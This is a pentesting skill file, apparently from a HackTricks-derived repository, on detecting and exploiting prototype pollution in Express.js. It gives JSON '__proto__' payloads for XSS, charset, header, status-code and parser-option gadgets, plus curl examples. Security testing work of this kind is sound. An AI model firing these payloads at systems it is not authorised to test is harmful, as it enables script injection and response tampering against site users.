Hacktricks-skills express-prototype-pollution
How to test for and exploit prototype pollution vulnerabilities in Express.js applications. Use this skill whenever you're pentesting Node.js/Express applications, analyzing JSON parsing vulnerabilities, or investigating server-side prototype pollution. Make sure to use this skill when you see JSON body parsing, lodash/underscore merge operations, or need to test for prototype pollution gadgets like XSS via content-type manipulation, header injection, or status code changes.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets/SKILL.MDExpress Prototype Pollution Gadgets
A collection of prototype pollution payloads and techniques for testing Express.js applications.
Overview
Prototype pollution in Express applications can lead to various impacts including XSS, header manipulation, and response modification. This skill covers detection techniques, exploitation gadgets, and safe scanning methods.
Detection Techniques
Error-Based Detection
Use these payloads to detect if prototype pollution is successful:
// Throws exception if prototype pollution works ;({}).__proto__.__proto__ = {} // No-op (doesn't throw) if prototype pollution works {}.__proto__.__proto__ = "x"
How to use: Send these as part of your test payload. If the application throws an exception, prototype pollution is likely successful.
Reflected Value Detection
Create an attribute with an unusual name alongside
__proto__:
{ "unusualName": "value", "__proto__": "test" }
Interpretation: If only the unusual attribute is returned in the response, the application may be vulnerable to prototype pollution.
Lodash-Specific Detection
When Lodash is employed, set a property both via prototype pollution and directly:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
Interpretation: If only
b is reflected (not a), this indicates prototype pollution in Lodash is occurring.
Exploitation Gadgets
XSS via Content-Type Manipulation
Prerequisites:
- Express app using
res.send(obj) - Body parser with
content typeapplication/json - JSON response being reflected
Payload:
{ "__proto__": { "_body": true, "body": "<script>evil()</script>" } }
Impact: Express serves HTML content type and reflects the
_body property, resulting in stored XSS.
UTF-7 Content Rendering
Payload:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Impact: Forces Express to render UTF-7 content, which can be used for XSS bypasses.
Header Manipulation
Expose Custom Headers
Prerequisites: CORS module must be installed
Payload:
{ "__proto__": { "exposedHeaders": ["foo"] } }
Impact: Server sends back
Access-Control-Expose-Headers: foo
Hide Methods from OPTIONS Response
Original response:
POST, GET, HEAD
Payload:
{"__proto__":{"head":true}}
New response:
POST, GET
Impact: Can hide HTTP methods from OPTIONS responses, potentially bypassing security checks.
Status Code Manipulation
Payload:
{ "__proto__": { "status": 510 } }
Impact: Changes the returned HTTP status code to 510 (Not Extended).
Safe Scanning Techniques
JSON Spaces Injection
Payload:
{ "__proto__": { "json spaces": " " } }
Result: Attributes inside JSON will have an extra space:
{"foo": "bar"}
Use case: Non-destructive way to verify prototype pollution without breaking functionality.
Allow Dots Configuration
Payload:
{ "__proto__": { "allowDots": true } }
Impact: Enables creation of objects from query string parameters like
?foo.bar=baz
Use case: Can be used in bug chains to exploit prototype pollution via query parameters.
Testing Workflow
- Initial Detection: Start with safe scanning techniques (JSON spaces, reflected values)
- Confirm Vulnerability: Use error-based detection to verify prototype pollution
- Impact Assessment: Test exploitation gadgets based on application behavior
- Chain Building: Combine with other vulnerabilities for full exploitation
Important Notes
- Primitive Assignment: Assigning primitives to prototypes produces no-op operations since prototypes must be objects
- Lodash Behavior: Lodash verifies property existence before merging, which affects detection
- CORS Requirement: Header exposure gadgets require the CORS module to be installed
- Content-Type: XSS gadgets require the application to use
with JSON body parserres.send(obj)
References
- PortSwigger Research: Server-Side Prototype Pollution
- HackTricks: Express Prototype Pollution Gadgets
Usage Examples
Example 1: Testing for XSS
curl -X POST http://target.com/api \ -H "Content-Type: application/json" \ -d '{"__proto__":{"_body":true,"body":"<script>alert(1)</script>"}}'
Example 2: Safe Detection
curl -X POST http://target.com/api \ -H "Content-Type: application/json" \ -d '{"__proto__":{"json spaces":" "},"test":"value"}'
Example 3: Status Code Manipulation
curl -X POST http://target.com/api \ -H "Content-Type: application/json" \ -d '{"__proto__":{"status":510}}'
When to Use This Skill
- Pentesting Node.js/Express applications
- Analyzing JSON parsing vulnerabilities
- Investigating server-side prototype pollution
- Testing applications using lodash, underscore, or similar merge libraries
- Bug bounty hunting on web applications with JSON endpoints
- Security research on prototype pollution chains